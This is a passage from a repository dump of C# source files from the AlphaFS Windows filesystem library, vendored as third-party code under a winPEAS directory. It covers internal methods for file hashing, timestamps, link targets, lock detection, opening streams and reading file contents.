CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the for a Non-/Transacted file or directory on the path. /// The instance of the file or directory, or null on Exception when is true. /// BasicSearch and LargeCache are used by default, if possible. /// /// /// The transaction. /// When true indicates the source is a directory; file otherwise. Use false if unknown. /// The path to the file. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected filesor non-accessible reparse points. /// /// Indicates the format of the path parameter(s). [SecurityCritical] internal static FileSystemEntryInfo GetFileSystemEntryInfoCore(KernelTransaction transaction, bool isFolder, string path, bool continueOnException, PathFormat pathFormat) { var options = continueOnException ? DirectoryEnumerationOptions.ContinueOnException : DirectoryEnumerationOptions.None; return new FindFileSystemEntryInfo(transaction, isFolder, path, Path.WildcardStarMatchAll, options, null, pathFormat, typeof(FileSystemEntryInfo)).Get(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetHashCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Globalization; using System.IO; using System.Security; using System.Security.Cryptography; using System.Text; using Alphaleonis.Win32.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Calculates the hash/checksum for the given . /// The transaction. /// The path to the file. /// One of the values. /// Indicates the format of the path parameter(s). /// The hash core. [SecurityCritical] internal static string GetHashCore(KernelTransaction transaction, string fileFullPath, HashType hashType, PathFormat pathFormat) { const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck; var fileNameLp = Path.GetExtendedLengthPathCore(transaction, fileFullPath, pathFormat, options); byte[] hash = null; using (var fs = OpenCore(transaction, fileNameLp, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath)) { switch (hashType) { case HashType.CRC32: using (var hType = new Crc32()) hash = hType.ComputeHash(fs); break; case HashType.CRC64ISO3309: using (var hType = new Crc64()) hash = hType.ComputeHash(fs); break; case HashType.MD5: using (var hType = MD5.Create()) hash = hType.ComputeHash(fs); break; #if !NETSTANDARD20 case HashType.RIPEMD160: using (var hType = RIPEMD160.Create()) hash = hType.ComputeHash(fs); break; #endif case HashType.SHA1: using (var hType = SHA1.Create()) hash = hType.ComputeHash(fs); break; case HashType.SHA256: using (var hType = SHA256.Create()) hash = hType.ComputeHash(fs); break; case HashType.SHA384: using (var hType = SHA384.Create()) hash = hType.ComputeHash(fs); break; case HashType.SHA512: using (var hType = SHA512.Create()) hash = hType.ComputeHash(fs); break; } } if (null != hash) { var sb = new StringBuilder(hash.Length); foreach (var b in hash) sb.Append(b.ToString("X2", CultureInfo.InvariantCulture)); return sb.ToString().ToUpperInvariant(); } return string.Empty; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetLastAccessTimeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) or local time, that the specified file or directory was last accessed. /// The transaction. /// The file or directory for which to obtain access date and time information. /// true gets the Coordinated Universal Time (UTC), false gets the local time. /// Indicates the format of the path parameter(s). /// /// A structure set to the date and time that the specified file or directory was last accessed. /// Depending on this value is expressed in UTC- or local time. /// [SecurityCritical] internal static DateTime GetLastAccessTimeCore(KernelTransaction transaction, string path, bool returnUtc, PathFormat pathFormat) { var lastAccessTime = GetAttributesExCore(transaction, path, pathFormat, false).ftLastAccessTime; return returnUtc ? DateTime.FromFileTimeUtc(lastAccessTime) : DateTime.FromFileTime(lastAccessTime); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetLastWriteTimeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) or local time, that the specified file or directory was last written to. /// The transaction. /// The file or directory for which to obtain write date and time information. /// true gets the Coordinated Universal Time (UTC), false gets the local time. /// Indicates the format of the path parameter(s). /// /// A structure set to the date and time that the specified file or directory was last written to. /// Depending on this value is expressed in UTC- or local time. /// [SecurityCritical] internal static DateTime GetLastWriteTimeCore(KernelTransaction transaction, string path, bool getUtc, PathFormat pathFormat) { var lastWriteTime = GetAttributesExCore(transaction, path, pathFormat, false).ftLastWriteTime; return getUtc ? DateTime.FromFileTimeUtc(lastWriteTime) : DateTime.FromFileTime(lastWriteTime); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetLinkTargetInfoCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets information about the target of a mount point or symbolic link on an NTFS file system. /// /// /// /// /// /// The transaction. /// The path to the reparse point. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// /// Indicates the format of the path parameter(s). /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// [SecurityCritical] internal static LinkTargetInfo GetLinkTargetInfoCore(KernelTransaction transaction, string reparsePath, bool continueOnException, PathFormat pathFormat) { // Codacy: The value of a static readonly field is computed at runtime while the value of a const field is calculated at compile time, which improves performance. const ExtendedFileAttributes eAttributes = ExtendedFileAttributes.OpenReparsePoint | ExtendedFileAttributes.BackupSemantics; using (var safeHandle = CreateFileCore(transaction, false, reparsePath, eAttributes, null, FileMode.Open, 0, FileShare.ReadWrite, pathFormat != PathFormat.LongFullPath, continueOnException, pathFormat)) return null != safeHandle ? Device.GetLinkTargetInfo(safeHandle, reparsePath) : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetProcessForFileLockCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.ObjectModel; using System.ComponentModel; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Linq; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets a list of processes that have a lock on the file(s) specified by . /// /// null when no processes found that are locking the file(s) specified by . /// A list of processes locking the file(s) specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The operating system is older than Windows Vista. /// /// A list with one or more file paths. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Usage", "CA1806:DoNotIgnoreMethodResults", MessageId = "Alphaleonis.Win32.Filesystem.NativeMethods.RmEndSession(System.UInt32)")] internal static Collection GetProcessForFileLockCore(KernelTransaction transaction, Collection filePaths, PathFormat pathFormat) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); if (null == filePaths) throw new ArgumentNullException("filePaths"); if (filePaths.Count == 0) throw new ArgumentOutOfRangeException("filePaths", "No paths specified."); var isLongPath = pathFormat == PathFormat.LongFullPath; var allPaths = isLongPath ? new Collection(filePaths) : new Collection(); if (!isLongPath) foreach (var path in filePaths) allPaths.Add(Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck)); uint sessionHandle; var success = NativeMethods.RmStartSession(out sessionHandle, 0, Guid.NewGuid().ToString()) == Win32Errors.ERROR_SUCCESS; var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); var processes = new Collection(); try { // A snapshot count of all running processes. var processesFound = (uint) Process.GetProcesses().Length; uint lpdwRebootReasons = 0; success = NativeMethods.RmRegisterResources(sessionHandle, (uint) allPaths.Count, allPaths.ToArray(), 0, null, 0, null) == Win32Errors.ERROR_SUCCESS; lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); GetList: var processInfo = new NativeMethods.RM_PROCESS_INFO[processesFound]; var processesTotal = processesFound; lastError = NativeMethods.RmGetList(sessionHandle, out processesFound, ref processesTotal, processInfo, ref lpdwRebootReasons); // There would be no need for this because we already have a/the total number of running processes. if (lastError == Win32Errors.ERROR_MORE_DATA) goto GetList; if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError); for (var i = 0; i < processesTotal; i++) { try { processes.Add(Process.GetProcessById(processInfo[i].Process.dwProcessId)); } // MSDN: The process specified by the processId parameter is not running. The identifier might be expired. catch (ArgumentException) {} } } finally { NativeMethods.RmEndSession(sessionHandle); } return processes.Count == 0 ? null : processes; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetSizeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Retrieves the size of the specified file. /// The file size of the first or all streams, in bytes. /// Use either or , not both. /// The to the file. /// The transaction. /// The path to the file. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] internal static long GetSizeCore(SafeFileHandle safeFileHandle, KernelTransaction transaction, string path, bool sizeOfAllStreams, PathFormat pathFormat) { var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); if (sizeOfAllStreams) return FindAllStreamsCore(transaction, pathLp); var callerHandle = null != safeFileHandle; if (!callerHandle) safeFileHandle = CreateFileCore(transaction, false, pathLp, ExtendedFileAttributes.Normal, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, PathFormat.LongFullPath); long fileSize; try { var success = NativeMethods.GetFileSizeEx(safeFileHandle, out fileSize); var lastError = Marshal.GetLastWin32Error(); if (!success && lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError, path); } finally { // Handle is ours, dispose. if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed) safeFileHandle.Close(); } return fileSize; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ImportExportEncryptedFileDirectoryRawCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { public static partial class File { internal static void ImportExportEncryptedFileDirectoryRawCore(bool isExport, bool isFolder, Stream stream, string destinationPath, bool overwriteHidden, PathFormat pathFormat) { var destinationPathLp = Path.GetExtendedLengthPathCore(null, destinationPath, pathFormat, GetFullPathOptions.FullCheck | GetFullPathOptions.TrimEnd); var mode = isExport ? NativeMethods.EncryptedFileRawMode.CreateForExport : NativeMethods.EncryptedFileRawMode.CreateForImport; if (isFolder) mode = mode | NativeMethods.EncryptedFileRawMode.CreateForDir; if (overwriteHidden) mode = mode | NativeMethods.EncryptedFileRawMode.OverwriteHidden; // OpenEncryptedFileRaw() // 2015-08-02: MSDN does not confirm LongPath usage but a Unicode version of this function exists. SafeEncryptedFileRawHandle context; var lastError = NativeMethods.OpenEncryptedFileRaw(destinationPathLp, mode, out context); try { if (lastError != Win32Errors.NO_ERROR) NativeError.ThrowException((int) lastError, isFolder, destinationPathLp); lastError = isExport ? NativeMethods.ReadEncryptedFileRaw((pbData, pvCallbackContext, length) => { try { var data = new byte[length]; Marshal.Copy(pbData, data, 0, (int) length); stream.Write(data, 0, (int) length); } catch (Exception ex) { return Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift; } return (int) Win32Errors.NO_ERROR; }, IntPtr.Zero, context) : NativeMethods.WriteEncryptedFileRaw((IntPtr pbData, IntPtr pvCallbackContext, ref uint length) => { try { var data = new byte[length]; length = (uint) stream.Read(data, 0, (int) length); if (length == 0) return (int) Win32Errors.NO_ERROR; Marshal.Copy(data, 0, pbData, (int) length); } catch (Exception ex) { return Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift; } return (int) Win32Errors.NO_ERROR; }, IntPtr.Zero, context); if (lastError != Win32Errors.NO_ERROR) NativeError.ThrowException((int) lastError, isFolder, destinationPathLp); } finally { if (null != context && !context.IsClosed) context.Dispose(); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.IsLockedCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Determines whether the specified file is in use (locked). /// Returns true if the specified file is in use (locked); otherwise, false /// /// /// /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static bool IsLockedCore(KernelTransaction transaction, string filePath, PathFormat pathFormat) { try { // Use FileAccess.Read since FileAccess.ReadWrite always fails when file is read-only. using (OpenCore(transaction, filePath, FileMode.Open, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat)) {} } catch (IOException ex) { var lastError = Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift; if (lastError == Win32Errors.ERROR_SHARING_VIOLATION || lastError == Win32Errors.ERROR_LOCK_VIOLATION) return true; throw; } catch (Exception ex) { NativeError.ThrowException(Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift, filePath); } return false; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.OpenCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.IO; using System.Security.AccessControl; using FileStream = System.IO.FileStream; using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Opens a on the specified path, having the specified mode with read, write, or read/write access, the specified sharing option and additional options specified. /// The transaction. /// The file to open. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten. /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// Advanced options for this file. /// A positive value greater than 0 indicating the buffer size. The default buffer size is 4096. /// The security. /// Indicates the format of the path parameter(s). /// /// A instance on the specified path, having the specified mode with /// read, write, or read/write access and the specified sharing option. /// internal static FileStream OpenCore(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, ExtendedFileAttributes attributes, int? bufferSize, FileSecurity security, PathFormat pathFormat) { var rights = access == FileAccess.Read ? FileSystemRights.Read : (access == FileAccess.Write ? FileSystemRights.Write : FileSystemRights.Read | FileSystemRights.Write); return OpenCore(transaction, path, mode, rights, share, attributes, bufferSize, security, pathFormat); } /// Opens a on the specified path, having the specified mode with read, write, or read/write access, the specified sharing option and additional options specified. /// The transaction. /// The file to open. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten along with additional options. /// A value specifying the type of access other threads have to the file. /// Advanced options for this file. /// A positive value greater than 0 indicating the buffer size. The default buffer size is 4096. /// The security. /// Indicates the format of the path parameter(s). /// /// A instance on the specified path, having the specified mode with /// read, write, or read/write access and the specified sharing option. /// [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] internal static FileStream OpenCore(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, ExtendedFileAttributes attributes, int? bufferSize, FileSecurity security, PathFormat pathFormat) { var access = ((rights & FileSystemRights.ReadData) != 0 ? FileAccess.Read : 0) | ((rights & FileSystemRights.WriteData) != 0 || (rights & FileSystemRights.AppendData) != 0 ? FileAccess.Write : 0); SafeFileHandle safeHandle = null; try { safeHandle = CreateFileCore(transaction, false, path, attributes, security, mode, rights, share, true, false, pathFormat); return new FileStream(safeHandle, access, bufferSize ?? NativeMethods.DefaultFileBufferSize, (attributes & ExtendedFileAttributes.Overlapped) != 0); } catch { if (null != safeHandle && !safeHandle.IsClosed) safeHandle.Close(); throw; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadAllBytesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Globalization; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Opens a binary file, reads the contents of the file into a byte array, and then closes the file. /// /// The transaction. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// A byte array containing the contents of the file. [SecurityCritical] internal static byte[] ReadAllBytesCore(KernelTransaction transaction, string path, PathFormat pathFormat) { byte[] buffer; using (var fs = OpenReadTransacted(transaction, path, pathFormat)) { var offset = 0; var length = fs.Length; if (length > int.MaxValue) throw new IOException(string.Format(CultureInfo.InvariantCulture, "File larger than 2GB: [{0}]", path)); var count = (int) length; buffer = new byte[count]; while (count > 0) { var n = fs.Read(buffer, offset, count); if (n == 0) throw new IOException("UNEXPECTED end of file found"); offset += n; count -= n; } } return buffer; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadAllLinesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; using StreamReader = System.IO.StreamReader; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Opens a file, read all lines of the file with the specified encoding, and then close the file. /// The transaction. /// The file to open for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// An IEnumerable string containing all lines of the file. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] internal static IEnumerable ReadAllLinesCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { using (var sr = new StreamReader(OpenCore(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.SequentialScan, null, null, pathFormat), encoding)) { string line; while (null != (line = sr.ReadLine())) yield return line; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadAllTextCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, 